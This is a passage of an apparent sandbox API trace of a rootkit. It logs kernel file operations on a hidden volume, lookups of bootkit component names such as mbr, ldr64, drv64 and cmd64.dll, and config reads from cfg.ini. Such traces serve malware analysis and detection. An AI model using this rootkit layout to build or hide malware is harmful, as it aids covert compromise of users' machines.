IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.336] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.336] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.336] KeEnterCriticalRegion () [0124.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.336] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.336] IdePortDispatch () returned 0x103 [0124.336] KeWaitForMutexObject () returned 0x0 [0124.336] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.336] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.336] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.336] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.336] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.336] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.336] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.336] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.336] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.336] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.336] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.336] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.336] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.336] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.336] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.336] KeLeaveCriticalRegion () [0124.336] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.336] ReleaseMutex (hMutex=0x100) returned 1 [0124.336] Sleep (dwMilliseconds=0x2bf20) [0124.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d5007f0, dwHighDateTime=0x1d24fa4)) [0124.344] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.344] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.344] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.344] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.344] KeEnterCriticalRegion () [0124.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.344] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.344] IdePortDispatch () returned 0x103 [0124.344] KeWaitForMutexObject () returned 0x0 [0124.344] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.344] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.344] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.344] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.344] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.344] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1010 [0124.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.344] KeLeaveCriticalRegion () [0124.344] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.344] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.344] KeEnterCriticalRegion () [0124.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.344] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.344] KeLeaveCriticalRegion () [0124.344] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.344] KeEnterCriticalRegion () [0124.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.344] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.345] IdePortDispatch () returned 0x103 [0124.345] KeWaitForMutexObject () returned 0x0 [0124.345] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.345] KeLeaveCriticalRegion () [0124.345] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.345] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.345] KeEnterCriticalRegion () [0124.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.345] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003539000 [0124.345] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.345] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.345] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.345] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.345] IdePortDispatch () returned 0x103 [0124.345] KeWaitForMutexObject () returned 0x0 [0124.345] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.345] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.345] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.345] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.345] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.345] IdePortDispatch () returned 0x103 [0124.345] KeWaitForMutexObject () returned 0x0 [0124.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.346] KeLeaveCriticalRegion () [0124.346] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.346] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.346] KeEnterCriticalRegion () [0124.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.346] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.346] KeLeaveCriticalRegion () [0124.346] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.346] KeEnterCriticalRegion () [0124.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.346] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.346] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0100, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.346] KeLeaveCriticalRegion () [0124.346] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.346] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.346] KeEnterCriticalRegion () [0124.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.346] ExFreePoolWithTag (P=0xfffffa8003bf1010, Tag=0x0) [0124.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.346] KeLeaveCriticalRegion () [0124.346] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.346] ReleaseMutex (hMutex=0xf0) returned 1 [0124.346] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.347] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.347] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.347] KeEnterCriticalRegion () [0124.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.347] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.347] IdePortDispatch () returned 0x103 [0124.347] KeWaitForMutexObject () returned 0x0 [0124.347] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.347] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.347] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.347] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.347] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.347] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1d10 [0124.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.347] KeLeaveCriticalRegion () [0124.347] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.347] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.347] KeEnterCriticalRegion () [0124.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.347] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.347] KeLeaveCriticalRegion () [0124.347] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.347] KeEnterCriticalRegion () [0124.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.347] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.347] IdePortDispatch () returned 0x103 [0124.348] KeWaitForMutexObject () returned 0x0 [0124.348] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.348] KeLeaveCriticalRegion () [0124.348] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.348] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.348] KeEnterCriticalRegion () [0124.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.348] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800353a000 [0124.348] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.348] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.348] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.348] IdePortDispatch () returned 0x103 [0124.348] KeWaitForMutexObject () returned 0x0 [0124.348] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.348] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.348] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.348] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.348] IdePortDispatch () returned 0x103 [0124.348] KeWaitForMutexObject () returned 0x0 [0124.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.349] KeLeaveCriticalRegion () [0124.349] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.349] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.349] KeEnterCriticalRegion () [0124.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.349] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.349] KeLeaveCriticalRegion () [0124.349] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.349] KeEnterCriticalRegion () [0124.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.349] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.349] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.349] KeLeaveCriticalRegion () [0124.349] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.349] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.349] KeEnterCriticalRegion () [0124.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.349] ExFreePoolWithTag (P=0xfffffa8003bf1d10, Tag=0x0) [0124.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.349] KeLeaveCriticalRegion () [0124.349] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.349] ReleaseMutex (hMutex=0xf0) returned 1 [0124.349] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.349] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.349] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.349] KeEnterCriticalRegion () [0124.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.350] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.350] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.350] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.350] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.350] IdePortDispatch () returned 0x103 [0124.350] KeWaitForMutexObject () returned 0x0 [0124.350] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.350] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.350] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.350] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.350] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.350] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf02e0 [0124.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.350] KeLeaveCriticalRegion () [0124.350] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.350] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.350] KeEnterCriticalRegion () [0124.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.350] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.350] KeLeaveCriticalRegion () [0124.350] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.350] KeEnterCriticalRegion () [0124.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.350] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.350] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.350] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.350] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.350] IdePortDispatch () returned 0x103 [0124.351] KeWaitForMutexObject () returned 0x0 [0124.351] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.351] KeLeaveCriticalRegion () [0124.351] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.351] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.351] KeEnterCriticalRegion () [0124.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.351] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800353b000 [0124.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.351] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.351] IdePortDispatch () returned 0x103 [0124.351] KeWaitForMutexObject () returned 0x0 [0124.351] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.351] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.351] IdePortDispatch () returned 0x103 [0124.351] KeWaitForMutexObject () returned 0x0 [0124.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.351] KeLeaveCriticalRegion () [0124.351] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.352] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.352] KeEnterCriticalRegion () [0124.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.352] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.352] KeLeaveCriticalRegion () [0124.352] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.352] KeEnterCriticalRegion () [0124.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.352] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.352] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.352] KeLeaveCriticalRegion () [0124.352] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.352] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.352] KeEnterCriticalRegion () [0124.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.352] ExFreePoolWithTag (P=0xfffffa8003bf02e0, Tag=0x0) [0124.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 